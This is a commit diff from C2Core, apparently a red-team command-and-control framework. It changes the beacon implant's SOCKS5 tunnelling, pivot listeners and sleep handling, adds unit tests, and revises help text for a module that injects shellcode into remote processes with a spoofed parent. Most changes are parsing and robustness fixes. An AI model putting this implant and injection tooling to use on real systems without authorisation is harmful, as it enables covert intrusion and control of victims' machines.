mirror of
https://github.com/maxDcb/C2Core
synced 2026-06-08 15:48:01 +00:00
CommandSpecs & Tests
* CommandSpecs * CommandSpecs * feat(command-specs): add simple module specs * listModule * AssemblyExec * AssemblyExecTests * Minor * Inject * InjectTests * Spec modules * Folder layout * upload & download * Chisel Minidump Powershell & Script * CoffLoader DotnetExec /KerberosUseTicket PsExec PwSh ScreenShot * add artifact_filters * Minor * stabilisation * Fixes * manual test * manual test * manual test * manual test * manual test * manual test * manual test * manual test * ScreenShot png * socks5 hostname * Maj for AI * minor
This commit is contained in:
+39
-18
@@ -38,6 +38,8 @@ typedef ModuleCmd* (*constructProc)();
|
||||
|
||||
namespace
|
||||
{
|
||||
constexpr const char* SocksHostnamePrefix = "host:";
|
||||
|
||||
std::string getCurrentProcessArch()
|
||||
{
|
||||
#if defined(_M_IX86) || defined(__i386__)
|
||||
@@ -52,6 +54,16 @@ std::string getCurrentProcessArch()
|
||||
return "unknown";
|
||||
#endif
|
||||
}
|
||||
|
||||
bool hasSocksHostnamePrefix(const std::string& destination)
|
||||
{
|
||||
return destination.rfind(SocksHostnamePrefix, 0) == 0;
|
||||
}
|
||||
|
||||
std::string stripSocksHostnamePrefix(const std::string& destination)
|
||||
{
|
||||
return destination.substr(std::char_traits<char>::length(SocksHostnamePrefix));
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -588,9 +600,9 @@ bool Beacon::runTasks()
|
||||
{
|
||||
C2Message listenerProofOfLife;
|
||||
|
||||
listenerProofOfLife.set_instruction(ListenerPollCmd); // Indicate this is a poll/proof message.
|
||||
listenerProofOfLife.set_data(m_listeners[i]->getListenerHash()); // Include unique listener identifier.
|
||||
listenerProofOfLife.set_returnvalue(m_listeners[i]->getListenerMetadata()); // Include listener status/metadata.
|
||||
listenerProofOfLife.set_instruction(ListenerPollCmd); // Indicate this is a poll/proof message.
|
||||
listenerProofOfLife.set_data(m_listeners[i]->getListenerMetadata()); // Include listener status/metadata.
|
||||
listenerProofOfLife.set_returnvalue(m_listeners[i]->getListenerHash()); // Include unique listener identifier.
|
||||
|
||||
// Add the heartbeat to the response queue.
|
||||
m_taskResult.push(listenerProofOfLife);
|
||||
@@ -643,12 +655,13 @@ bool Beacon::handleEndInstruction(C2Message&, C2Message& c2RetMessage)
|
||||
bool Beacon::handleSleepInstruction(C2Message& c2Message, C2Message& c2RetMessage)
|
||||
{
|
||||
std::string newSleepTimer = c2Message.cmd();
|
||||
try
|
||||
float sleepSeconds = 0.0f;
|
||||
if (parseSleepSeconds(newSleepTimer, sleepSeconds))
|
||||
{
|
||||
m_aliveTimerMs = std::stof(newSleepTimer) * 1000;
|
||||
m_aliveTimerMs = static_cast<int>(sleepSeconds * 1000);
|
||||
newSleepTimer = std::to_string(m_aliveTimerMs) + "ms";
|
||||
}
|
||||
catch (const std::invalid_argument&)
|
||||
else
|
||||
{
|
||||
newSleepTimer = CmdStatusFail;
|
||||
}
|
||||
@@ -704,11 +717,7 @@ bool Beacon::handleListenerInstruction(C2Message& c2Message, C2Message& c2RetMes
|
||||
|
||||
std::string localHost = splitedCmd[2];
|
||||
int localPort;
|
||||
try
|
||||
{
|
||||
localPort = std::stoi(splitedCmd[3]);
|
||||
}
|
||||
catch (const std::invalid_argument&)
|
||||
if (!parseTcpListenerPort(splitedCmd[3], localPort))
|
||||
{
|
||||
c2RetMessage.set_errorCode(ERROR_PORT_FORMAT);
|
||||
return false;
|
||||
@@ -746,6 +755,9 @@ bool Beacon::handleListenerInstruction(C2Message& c2Message, C2Message& c2RetMes
|
||||
}
|
||||
else if (splitedCmd[0] == StopCmd)
|
||||
{
|
||||
if (splitedCmd.size() != 2)
|
||||
return false;
|
||||
|
||||
std::string listenerHash = splitedCmd[1];
|
||||
auto object = std::find_if(m_listeners.begin(), m_listeners.end(),
|
||||
[&](const std::unique_ptr<Listener>& obj){ return obj->getListenerHash().rfind(listenerHash, 0) == 0; });
|
||||
@@ -754,7 +766,7 @@ bool Beacon::handleListenerInstruction(C2Message& c2Message, C2Message& c2RetMes
|
||||
{
|
||||
c2RetMessage.set_cmd(cmd);
|
||||
c2RetMessage.set_returnvalue((*object)->getListenerHash());
|
||||
m_listeners.erase(std::remove(m_listeners.begin(), m_listeners.end(), *object));
|
||||
m_listeners.erase(object);
|
||||
return false;
|
||||
}
|
||||
else
|
||||
@@ -789,9 +801,18 @@ bool Beacon::handleSocks5Instruction(C2Message& c2Message, C2Message& c2RetMessa
|
||||
std::unique_ptr<SocksTunnelClient> socksTunnelClient = std::make_unique<SocksTunnelClient>(c2Message.pid());
|
||||
try
|
||||
{
|
||||
uint32_t ip_dst = std::stoi(c2Message.data());
|
||||
uint16_t port = std::stoi(c2Message.args());
|
||||
int initResult = socksTunnelClient->init(ip_dst, port);
|
||||
const std::string destination = c2Message.data();
|
||||
uint16_t port = static_cast<uint16_t>(std::stoul(c2Message.args()));
|
||||
int initResult = 0;
|
||||
if (hasSocksHostnamePrefix(destination))
|
||||
{
|
||||
initResult = socksTunnelClient->initHostname(stripSocksHostnamePrefix(destination), port);
|
||||
}
|
||||
else
|
||||
{
|
||||
uint32_t ip_dst = static_cast<uint32_t>(std::stoul(destination));
|
||||
initResult = socksTunnelClient->init(ip_dst, port);
|
||||
}
|
||||
if (initResult)
|
||||
{
|
||||
m_socksTunnelClient.push_back(std::move(socksTunnelClient));
|
||||
@@ -800,14 +821,14 @@ bool Beacon::handleSocks5Instruction(C2Message& c2Message, C2Message& c2RetMessa
|
||||
else
|
||||
{
|
||||
SPDLOG_DEBUG("Socks5 init {} failed", c2Message.pid());
|
||||
c2RetMessage.set_data("fail");
|
||||
c2RetMessage.set_data("fail:connect");
|
||||
return false;
|
||||
}
|
||||
}
|
||||
catch (const std::invalid_argument&)
|
||||
catch (const std::exception&)
|
||||
{
|
||||
SPDLOG_DEBUG("Socks5 init {} failed", c2Message.pid());
|
||||
c2RetMessage.set_errorCode(ERROR_GENERIC);
|
||||
c2RetMessage.set_data("fail:invalid_destination");
|
||||
return false;
|
||||
}
|
||||
SPDLOG_DEBUG("Socks5 init Finished");
|
||||
|
||||
@@ -8,6 +8,7 @@
|
||||
#include <vector>
|
||||
#include <memory>
|
||||
#include <unordered_map>
|
||||
#include <utility>
|
||||
|
||||
#include <nlohmann/json.hpp>
|
||||
|
||||
@@ -69,4 +70,11 @@ private:
|
||||
bool handleUnloadModuleInstruction(C2Message& c2Message, C2Message& c2RetMessage);
|
||||
bool handleModuleInstruction(C2Message& c2Message, C2Message& c2RetMessage);
|
||||
|
||||
#if defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS)
|
||||
protected:
|
||||
void addTestListener(std::unique_ptr<Listener> listener)
|
||||
{
|
||||
m_listeners.push_back(std::move(listener));
|
||||
}
|
||||
#endif
|
||||
};
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
#include "../../modules/ModuleCmd/CommonCommand.hpp"
|
||||
|
||||
#include <iostream>
|
||||
#include <memory>
|
||||
#include <string>
|
||||
|
||||
class BeaconTestProxy : public Beacon {
|
||||
@@ -10,15 +11,35 @@ public:
|
||||
using Beacon::cmdToTasks;
|
||||
using Beacon::taskResultsToCmd;
|
||||
using Beacon::execInstruction;
|
||||
using Beacon::runTasks;
|
||||
#if defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS)
|
||||
using Beacon::addTestListener;
|
||||
#endif
|
||||
|
||||
void checkIn() override {}
|
||||
|
||||
void pushResult(const C2Message& msg) { m_taskResult.push(msg); }
|
||||
C2Message popResult()
|
||||
{
|
||||
C2Message msg = m_taskResult.front();
|
||||
m_taskResult.pop();
|
||||
return msg;
|
||||
}
|
||||
size_t resultCount() const { return m_taskResult.size(); }
|
||||
size_t taskCount() const { return m_tasks.size(); }
|
||||
const std::string& arch() const { return m_arch; }
|
||||
};
|
||||
|
||||
class FakeListener : public Listener {
|
||||
public:
|
||||
FakeListener()
|
||||
: Listener("0.0.0.0", "4444", ListenerTcpType)
|
||||
{
|
||||
m_listenerHash = "child-listener";
|
||||
m_metadata = R"({"1":"tcp","2":"0.0.0.0","3":"4444"})";
|
||||
}
|
||||
};
|
||||
|
||||
namespace {
|
||||
const std::string kConfig = R"({"xorKey":"key","ModulesConfig":{}})";
|
||||
|
||||
@@ -80,6 +101,20 @@ int main()
|
||||
ok &= expect(!out.empty(), "serialized task results should not be empty");
|
||||
ok &= expect(b.resultCount() == 0, "taskResultsToCmd should clear result queue");
|
||||
}
|
||||
#if defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS)
|
||||
{
|
||||
BeaconTestProxy b;
|
||||
b.addTestListener(std::make_unique<FakeListener>());
|
||||
|
||||
ok &= expect(!b.runTasks(), "listener poll should keep beacon running");
|
||||
ok &= expect(b.resultCount() == 1, "listener poll should queue one proof of life");
|
||||
|
||||
C2Message poll = b.popResult();
|
||||
ok &= expect(poll.instruction() == ListenerPollCmd, "listener poll instruction mismatch");
|
||||
ok &= expect(poll.data() == R"({"1":"tcp","2":"0.0.0.0","3":"4444"})", "listener poll should carry metadata in data");
|
||||
ok &= expect(poll.returnvalue() == "child-listener", "listener poll should carry listener hash in return value");
|
||||
}
|
||||
#endif
|
||||
{
|
||||
BeaconTestProxy b;
|
||||
C2Message sleepMsg;
|
||||
@@ -89,6 +124,13 @@ int main()
|
||||
ok &= expect(!b.execInstruction(sleepMsg, sleepRet), "sleep command should keep beacon running");
|
||||
ok &= expect(sleepRet.returnvalue() == "2000ms", "sleep command should convert seconds to ms");
|
||||
|
||||
C2Message zeroSleep;
|
||||
zeroSleep.set_instruction(SleepCmd);
|
||||
zeroSleep.set_cmd("0");
|
||||
C2Message zeroRet;
|
||||
ok &= expect(!b.execInstruction(zeroSleep, zeroRet), "zero sleep should keep beacon running");
|
||||
ok &= expect(zeroRet.returnvalue() == "0ms", "zero sleep should be accepted");
|
||||
|
||||
C2Message badSleep;
|
||||
badSleep.set_instruction(SleepCmd);
|
||||
badSleep.set_cmd("abc");
|
||||
@@ -96,11 +138,65 @@ int main()
|
||||
ok &= expect(!b.execInstruction(badSleep, badRet), "bad sleep should keep beacon running");
|
||||
ok &= expect(badRet.returnvalue() == CmdStatusFail, "bad sleep should fail cleanly");
|
||||
|
||||
C2Message partialSleep;
|
||||
partialSleep.set_instruction(SleepCmd);
|
||||
partialSleep.set_cmd("1abc");
|
||||
C2Message partialRet;
|
||||
ok &= expect(!b.execInstruction(partialSleep, partialRet), "partial sleep should keep beacon running");
|
||||
ok &= expect(partialRet.returnvalue() == CmdStatusFail, "partial sleep should fail cleanly");
|
||||
|
||||
C2Message negativeSleep;
|
||||
negativeSleep.set_instruction(SleepCmd);
|
||||
negativeSleep.set_cmd("-1");
|
||||
C2Message negativeRet;
|
||||
ok &= expect(!b.execInstruction(negativeSleep, negativeRet), "negative sleep should keep beacon running");
|
||||
ok &= expect(negativeRet.returnvalue() == CmdStatusFail, "negative sleep should fail cleanly");
|
||||
|
||||
C2Message endMsg;
|
||||
endMsg.set_instruction(EndCmd);
|
||||
C2Message endRet;
|
||||
ok &= expect(b.execInstruction(endMsg, endRet), "end command should stop beacon");
|
||||
ok &= expect(endRet.returnvalue() == CmdStatusSuccess, "end command should return success");
|
||||
|
||||
C2Message badListenerPort;
|
||||
badListenerPort.set_instruction(ListenerCmd);
|
||||
badListenerPort.set_cmd(StartCmd + " " + ListenerTcpType + " 0.0.0.0 notaport");
|
||||
C2Message badListenerRet;
|
||||
ok &= expect(!b.execInstruction(badListenerPort, badListenerRet), "bad listener port should keep beacon running");
|
||||
ok &= expect(badListenerRet.errorCode() == ERROR_PORT_FORMAT, "bad listener port should be rejected");
|
||||
|
||||
C2Message zeroListenerPort;
|
||||
zeroListenerPort.set_instruction(ListenerCmd);
|
||||
zeroListenerPort.set_cmd(StartCmd + " " + ListenerTcpType + " 0.0.0.0 0");
|
||||
C2Message zeroListenerRet;
|
||||
ok &= expect(!b.execInstruction(zeroListenerPort, zeroListenerRet), "zero listener port should keep beacon running");
|
||||
ok &= expect(zeroListenerRet.errorCode() == ERROR_PORT_FORMAT, "zero listener port should be rejected");
|
||||
}
|
||||
{
|
||||
BeaconTestProxy b;
|
||||
C2Message hostSocksInit;
|
||||
hostSocksInit.set_instruction(Socks5Cmd);
|
||||
hostSocksInit.set_cmd(InitCmd);
|
||||
hostSocksInit.set_data("host:");
|
||||
hostSocksInit.set_args("80");
|
||||
hostSocksInit.set_pid(7);
|
||||
C2Message hostSocksRet;
|
||||
|
||||
ok &= expect(!b.execInstruction(hostSocksInit, hostSocksRet), "hostname socks init failure should keep beacon running");
|
||||
ok &= expect(hostSocksRet.instruction() == Socks5Cmd, "hostname socks init should preserve instruction");
|
||||
ok &= expect(hostSocksRet.cmd() == InitCmd, "hostname socks init should preserve command");
|
||||
ok &= expect(hostSocksRet.pid() == 7, "hostname socks init should preserve tunnel id");
|
||||
ok &= expect(hostSocksRet.data() == "fail:connect", "empty hostname should fail cleanly");
|
||||
|
||||
C2Message invalidSocksInit;
|
||||
invalidSocksInit.set_instruction(Socks5Cmd);
|
||||
invalidSocksInit.set_cmd(InitCmd);
|
||||
invalidSocksInit.set_data("not-a-number");
|
||||
invalidSocksInit.set_args("80");
|
||||
C2Message invalidSocksRet;
|
||||
|
||||
ok &= expect(!b.execInstruction(invalidSocksInit, invalidSocksRet), "invalid socks init failure should keep beacon running");
|
||||
ok &= expect(invalidSocksRet.data() == "fail:invalid_destination", "invalid socks destination should fail cleanly");
|
||||
}
|
||||
{
|
||||
BeaconTestProxy b;
|
||||
|
||||
+57
-34
@@ -21,6 +21,43 @@ constexpr std::string_view mainKeyConfig = ".CRT$XCL";
|
||||
// compile time encryption
|
||||
constexpr std::array<char, 29> _EncryptedKeyTraficEncryption_ = compileTimeXOR<29, 8>(_KeyTraficEncryption_, mainKeyConfig);
|
||||
|
||||
namespace
|
||||
{
|
||||
bool parseListenerMetadata(const std::string& listenerMetadata, std::string& type, std::string& param1, std::string& param2)
|
||||
{
|
||||
nlohmann::json parsed = nlohmann::json::parse(listenerMetadata, nullptr, false);
|
||||
if(parsed.is_discarded() || !parsed.is_object())
|
||||
return false;
|
||||
|
||||
auto typeIt = parsed.find("1");
|
||||
auto param1It = parsed.find("2");
|
||||
auto param2It = parsed.find("3");
|
||||
if(typeIt == parsed.end() || param1It == parsed.end() || param2It == parsed.end())
|
||||
return false;
|
||||
if(!typeIt->is_string() || !param1It->is_string() || !param2It->is_string())
|
||||
return false;
|
||||
|
||||
type = typeIt->get<std::string>();
|
||||
param1 = param1It->get<std::string>();
|
||||
param2 = param2It->get<std::string>();
|
||||
return !type.empty() && !param1.empty() && !param2.empty();
|
||||
}
|
||||
|
||||
bool extractListenerReport(const C2Message& c2Message, bool allowLegacySwap, std::string& listenerHash, std::string& type, std::string& param1, std::string& param2)
|
||||
{
|
||||
listenerHash = c2Message.returnvalue();
|
||||
if(parseListenerMetadata(c2Message.data(), type, param1, param2))
|
||||
return !listenerHash.empty();
|
||||
|
||||
if(!allowLegacySwap)
|
||||
return false;
|
||||
|
||||
listenerHash = c2Message.data();
|
||||
return parseListenerMetadata(c2Message.returnvalue(), type, param1, param2)
|
||||
&& !listenerHash.empty();
|
||||
}
|
||||
}
|
||||
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
namespace
|
||||
{
|
||||
@@ -213,6 +250,7 @@ bool Listener::addSessionListener(const std::string& beaconHash, const std::stri
|
||||
std::lock_guard<std::mutex> lock(m_mutex);
|
||||
|
||||
bool sessionExist = false;
|
||||
bool listenerAdded = false;
|
||||
|
||||
// Iterate through all active sessions to find the one matching the given beacon hash.
|
||||
for(auto it = m_sessions.begin() ; it != m_sessions.end(); ++it )
|
||||
@@ -222,9 +260,9 @@ bool Listener::addSessionListener(const std::string& beaconHash, const std::stri
|
||||
sessionExist=true;
|
||||
|
||||
// Add the listener to the matching session if it doesn't already exist.
|
||||
(*it)->addListener(listenerHash, type, param1, param2);
|
||||
listenerAdded = (*it)->addListener(listenerHash, type, param1, param2);
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
if(m_logger)
|
||||
if(listenerAdded && m_logger)
|
||||
m_logger->info("Listener {} registered child listener {} ({})", beaconHash, listenerHash, type);
|
||||
#endif
|
||||
break;
|
||||
@@ -236,8 +274,8 @@ bool Listener::addSessionListener(const std::string& beaconHash, const std::stri
|
||||
m_logger->warn("Unable to register listener {} for beacon {} - session not found", listenerHash, beaconHash);
|
||||
#endif
|
||||
|
||||
// Return true if the session was found and updated, false otherwise.
|
||||
return sessionExist;
|
||||
// Return true only when the session was updated with a new child listener.
|
||||
return sessionExist && listenerAdded;
|
||||
}
|
||||
|
||||
|
||||
@@ -526,7 +564,8 @@ bool Listener::handleMessages(const std::string& input, std::string& output)
|
||||
{
|
||||
const C2Message& c2Message = bundleC2Message->c2messages(j);
|
||||
|
||||
addTaskResult(c2Message, beaconHash);
|
||||
if (c2Message.instruction() != ListenerPollCmd)
|
||||
addTaskResult(c2Message, beaconHash);
|
||||
|
||||
// Handle instruction that have impact on this Listener
|
||||
// Here if a beacon is terminated, we need to remove the list of sessions associeted with it.
|
||||
@@ -573,23 +612,15 @@ bool Listener::handleMessages(const std::string& input, std::string& output)
|
||||
|
||||
if(splitedCmd[0]==StartCmd)
|
||||
{
|
||||
std::string listenerMetadata = c2Message.data();
|
||||
std::string listenerHash = c2Message.returnvalue();
|
||||
|
||||
nlohmann::json parsed;
|
||||
try
|
||||
{
|
||||
parsed = nlohmann::json::parse(listenerMetadata);
|
||||
std::string type = parsed["1"];
|
||||
std::string param1 = parsed["2"];
|
||||
std::string param2 = parsed["3"];
|
||||
std::string listenerHash;
|
||||
std::string type;
|
||||
std::string param1;
|
||||
std::string param2;
|
||||
|
||||
if(extractListenerReport(c2Message, false, listenerHash, type, param1, param2))
|
||||
addSessionListener(beaconHash, listenerHash, type, param1, param2);
|
||||
}
|
||||
catch (...)
|
||||
{
|
||||
else
|
||||
continue;
|
||||
}
|
||||
}
|
||||
else if(splitedCmd[0]==StopCmd)
|
||||
{
|
||||
@@ -599,23 +630,15 @@ bool Listener::handleMessages(const std::string& input, std::string& output)
|
||||
// Handle proof of life of listeners
|
||||
else if(c2Message.instruction()==ListenerPollCmd)
|
||||
{
|
||||
std::string listenerMetadata = c2Message.data();
|
||||
std::string listenerHash = c2Message.returnvalue();
|
||||
|
||||
nlohmann::json parsed;
|
||||
try
|
||||
{
|
||||
parsed = nlohmann::json::parse(listenerMetadata);
|
||||
std::string type = parsed["1"];
|
||||
std::string param1 = parsed["2"];
|
||||
std::string param2 = parsed["3"];
|
||||
std::string listenerHash;
|
||||
std::string type;
|
||||
std::string param1;
|
||||
std::string param2;
|
||||
|
||||
if(extractListenerReport(c2Message, true, listenerHash, type, param1, param2))
|
||||
addSessionListener(beaconHash, listenerHash, type, param1, param2);
|
||||
}
|
||||
catch (...)
|
||||
{
|
||||
else
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -667,4 +690,4 @@ bool Listener::handleMessages(const std::string& input, std::string& output)
|
||||
output = base64_encode(data);
|
||||
|
||||
return isTaskToSend;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -125,6 +125,16 @@ int ListenerHttp::init()
|
||||
return -1;
|
||||
}
|
||||
|
||||
if(!m_svr->bind_to_port(m_host.c_str(), m_port))
|
||||
{
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
if(m_logger)
|
||||
m_logger->error("Failed to bind {} listener on {}:{}", m_isHttps ? "HTTPS" : "HTTP", m_host, m_port);
|
||||
#endif
|
||||
m_svr.reset();
|
||||
return -1;
|
||||
}
|
||||
|
||||
m_httpServ = std::make_unique<std::thread>(&ListenerHttp::launchHttpServ, this);
|
||||
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
@@ -393,7 +403,13 @@ void ListenerHttp::launchHttpServ()
|
||||
});
|
||||
}
|
||||
|
||||
m_svr->listen(m_host.c_str(), m_port);
|
||||
if(!m_svr->listen_after_bind())
|
||||
{
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
if(m_logger)
|
||||
m_logger->error("{} listener stopped because listen failed on {}:{}", m_isHttps ? "HTTPS" : "HTTP", m_host, m_port);
|
||||
#endif
|
||||
}
|
||||
}
|
||||
|
||||
bool ListenerHttp::processPayload(const std::string& requestData, std::string& responseData)
|
||||
|
||||
+37
-11
@@ -43,15 +43,18 @@ ListenerSmb::ListenerSmb(const std::string& ip, const std::string& pipeName, con
|
||||
m_logger->info("Initializing SMB listener on {} using pipe {}", ip, pipeName);
|
||||
#endif
|
||||
|
||||
m_stopThread=false;
|
||||
m_stopThread.store(false);
|
||||
m_smbServ = std::make_unique<std::thread>(&ListenerSmb::launchSmbServ, this);
|
||||
}
|
||||
|
||||
|
||||
ListenerSmb::~ListenerSmb()
|
||||
{
|
||||
m_stopThread=true;
|
||||
m_smbServ->join();
|
||||
m_stopThread.store(true);
|
||||
wakeServer();
|
||||
|
||||
if(m_smbServ && m_smbServ->joinable())
|
||||
m_smbServ->join();
|
||||
|
||||
delete m_serverSmb;
|
||||
|
||||
@@ -61,25 +64,49 @@ ListenerSmb::~ListenerSmb()
|
||||
#endif
|
||||
}
|
||||
|
||||
void ListenerSmb::wakeServer()
|
||||
{
|
||||
try
|
||||
{
|
||||
PipeHandler::Client client(".", m_param2);
|
||||
if(client.initConnection())
|
||||
{
|
||||
std::string stopMessage = "__stop__";
|
||||
client.sendData(stopMessage);
|
||||
client.closeConnection();
|
||||
}
|
||||
}
|
||||
catch (...)
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
void ListenerSmb::launchSmbServ()
|
||||
{
|
||||
try
|
||||
{
|
||||
while(1)
|
||||
while(!m_stopThread.load())
|
||||
{
|
||||
if(m_stopThread)
|
||||
return;
|
||||
|
||||
m_serverSmb->initServer();
|
||||
if(!m_serverSmb->initServer())
|
||||
{
|
||||
if(!m_stopThread.load())
|
||||
std::this_thread::sleep_for(std::chrono::milliseconds(50));
|
||||
continue;
|
||||
}
|
||||
|
||||
bool res = false;
|
||||
string input;
|
||||
while(input.empty())
|
||||
do
|
||||
{
|
||||
res = m_serverSmb->receiveData(input);
|
||||
std::this_thread::sleep_for(std::chrono::milliseconds(50));
|
||||
if(input.empty() && !m_stopThread.load())
|
||||
std::this_thread::sleep_for(std::chrono::milliseconds(50));
|
||||
}
|
||||
while(!m_stopThread.load() && input.empty());
|
||||
|
||||
if(m_stopThread.load())
|
||||
return;
|
||||
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
if(m_logger && m_logger->should_log(spdlog::level::debug))
|
||||
@@ -114,4 +141,3 @@ void ListenerSmb::launchSmbServ()
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
@@ -2,6 +2,8 @@
|
||||
|
||||
#include "Listener.hpp"
|
||||
|
||||
#include <atomic>
|
||||
|
||||
|
||||
namespace PipeHandler
|
||||
{
|
||||
@@ -17,9 +19,10 @@ public:
|
||||
|
||||
private:
|
||||
void launchSmbServ();
|
||||
void wakeServer();
|
||||
|
||||
PipeHandler::Server* m_serverSmb;
|
||||
|
||||
bool m_stopThread;
|
||||
std::atomic_bool m_stopThread;
|
||||
std::unique_ptr<std::thread> m_smbServ;
|
||||
};
|
||||
|
||||
@@ -16,6 +16,14 @@ public:
|
||||
using Listener::rmSessionListener;
|
||||
|
||||
void addSession(const std::shared_ptr<Session>& s) { m_sessions.push_back(s); }
|
||||
bool process(const std::string& input, std::string& output) { return handleMessages(input, output); }
|
||||
std::string encode(const MultiBundleC2Message& message)
|
||||
{
|
||||
std::string data;
|
||||
const_cast<MultiBundleC2Message&>(message).SerializeToString(&data);
|
||||
XOR(data, m_key);
|
||||
return base64_encode(data);
|
||||
}
|
||||
};
|
||||
|
||||
namespace {
|
||||
@@ -29,9 +37,11 @@ namespace {
|
||||
return true;
|
||||
}
|
||||
|
||||
std::shared_ptr<Session> makeSession()
|
||||
std::shared_ptr<Session> makeSession(
|
||||
const std::string& listenerHash = "lhash",
|
||||
const std::string& beaconHash = "bhash")
|
||||
{
|
||||
return std::make_shared<Session>("lhash", "bhash", "host", "user", "arch", "priv", "os");
|
||||
return std::make_shared<Session>(listenerHash, beaconHash, "host", "user", "arch", "priv", "os");
|
||||
}
|
||||
}
|
||||
|
||||
@@ -43,8 +53,9 @@ int main()
|
||||
ListenerTestProxy l;
|
||||
l.addSession(makeSession());
|
||||
ok &= expect(l.addSessionListener("bhash", "child", "tcp", "p1", "p2"), "session listener should be added");
|
||||
ok &= expect(!l.addSessionListener("bhash", "child", "tcp", "p1", "p2"), "duplicate session listener should not be added");
|
||||
auto infos = l.getSessionListenerInfos();
|
||||
ok &= expect(infos.size() == 1, "session listener info should be visible");
|
||||
ok &= expect(infos.size() == 1, "session listener info should be visible once");
|
||||
ok &= expect(l.rmSessionListener("bhash", "child"), "session listener should be removed");
|
||||
}
|
||||
{
|
||||
@@ -67,6 +78,57 @@ int main()
|
||||
auto out = l.getTaskResult(hash);
|
||||
ok &= expect(out.instruction() == "RES", "queued task result should be retrievable");
|
||||
}
|
||||
{
|
||||
const std::string beaconHash = "ABCDEFGH12345678ABCDEFGH12345678";
|
||||
ListenerTestProxy l;
|
||||
l.addSession(makeSession("lhash", beaconHash));
|
||||
|
||||
MultiBundleC2Message incoming;
|
||||
BundleC2Message* bundle = incoming.add_bundlec2messages();
|
||||
bundle->set_beaconhash(beaconHash);
|
||||
bundle->set_listenerhash("lhash");
|
||||
bundle->set_lastProofOfLife("0");
|
||||
|
||||
C2Message* poll = bundle->add_c2messages();
|
||||
poll->set_instruction(ListenerPollCmd);
|
||||
poll->set_data(R"({"1":"tcp","2":"0.0.0.0","3":"4444"})");
|
||||
poll->set_returnvalue("child-listener");
|
||||
|
||||
std::string output;
|
||||
l.process(l.encode(incoming), output);
|
||||
|
||||
auto infos = l.getSessionListenerInfos();
|
||||
ok &= expect(infos.size() == 1, "listener poll should update session listener metadata");
|
||||
ok &= expect(infos[0].getListenerHash() == "child-listener", "listener poll should preserve child listener hash");
|
||||
ok &= expect(infos[0].getType() == "tcp", "listener poll should preserve child listener type");
|
||||
|
||||
auto result = l.getTaskResult(beaconHash);
|
||||
ok &= expect(result.instruction().empty(), "listener poll should not be queued as a command result");
|
||||
}
|
||||
{
|
||||
const std::string beaconHash = "ABCDEFGH12345678ABCDEFGH12345678";
|
||||
ListenerTestProxy l;
|
||||
l.addSession(makeSession("lhash", beaconHash));
|
||||
|
||||
MultiBundleC2Message incoming;
|
||||
BundleC2Message* bundle = incoming.add_bundlec2messages();
|
||||
bundle->set_beaconhash(beaconHash);
|
||||
bundle->set_listenerhash("lhash");
|
||||
bundle->set_lastProofOfLife("0");
|
||||
|
||||
C2Message* poll = bundle->add_c2messages();
|
||||
poll->set_instruction(ListenerPollCmd);
|
||||
poll->set_data("child-listener");
|
||||
poll->set_returnvalue(R"({"1":"tcp","2":"0.0.0.0","3":"4444"})");
|
||||
|
||||
std::string output;
|
||||
l.process(l.encode(incoming), output);
|
||||
|
||||
auto infos = l.getSessionListenerInfos();
|
||||
ok &= expect(infos.size() == 1, "legacy listener poll should update session listener metadata");
|
||||
ok &= expect(infos[0].getListenerHash() == "child-listener", "legacy listener poll should preserve child listener hash");
|
||||
ok &= expect(infos[0].getType() == "tcp", "legacy listener poll should preserve child listener type");
|
||||
}
|
||||
|
||||
return ok ? 0 : 1;
|
||||
}
|
||||
|
||||
@@ -1,10 +1,12 @@
|
||||
#include "AssemblyExec.hpp"
|
||||
|
||||
#include <cstring>
|
||||
#include <iterator>
|
||||
#include <sstream>
|
||||
#include <chrono>
|
||||
#include <thread>
|
||||
|
||||
#include "AssemblyExecCommandOptions.hpp"
|
||||
#include "Common.hpp"
|
||||
#include "Tools.hpp"
|
||||
|
||||
@@ -43,6 +45,10 @@ namespace
|
||||
constexpr int ERROR_PROCESS_CREATION = 1;
|
||||
}
|
||||
|
||||
#define modeThread "0"
|
||||
#define modeProcess "1"
|
||||
#define modeprocessWithSpoofedParent "2"
|
||||
|
||||
|
||||
#ifdef _WIN32
|
||||
|
||||
@@ -87,179 +93,143 @@ std::string AssemblyExec::getInfo()
|
||||
info += "Execute shellcode in a remote process (e.g., notepad.exe). Waits for execution to complete or until a 120-second timeout.\n";
|
||||
info += "Captures and returns any output produced by the shellcode.\n";
|
||||
info += "\nOptions:\n";
|
||||
info += " -r <file> Use a raw shellcode file.\n";
|
||||
info += " -e <exe> [args] Use Donut to generate shellcode from a .NET executable.\n";
|
||||
info += " -d <dll> <method> [args] Use Donut to generate shellcode from a .NET DLL and specify method and arguments.\n";
|
||||
info += "\nExecution Modes:\n";
|
||||
info += " thread Inject and execute in a new thread\n";
|
||||
info += " process Inject into a newly spawned process\n";
|
||||
info += " --mode <mode> --raw <file> Execute raw shellcode.\n";
|
||||
info += " --mode <mode> --donut-exe <exe> -- [args] Execute Donut-generated shellcode from a .NET executable.\n";
|
||||
info += " --mode <mode> --donut-dll <dll> --method <method> -- [args]\n";
|
||||
info += " Execute Donut-generated shellcode from a .NET DLL.\n";
|
||||
info += "\nModes:\n";
|
||||
info += " thread Inject and execute in a new thread\n";
|
||||
info += " process Inject into a newly spawned process\n";
|
||||
info += " processWithSpoofedParent Same as above, but with spoofed parent process\n";
|
||||
info += "\nExamples:\n";
|
||||
info += " - assemblyExec thread\n";
|
||||
info += " - assemblyExec process\n";
|
||||
info += " - assemblyExec -r ./shellcode.bin\n";
|
||||
info += " - assemblyExec -e ./program.exe arg1 arg2\n";
|
||||
info += " - assemblyExec -e ./Seatbelt.exe -group=system\n";
|
||||
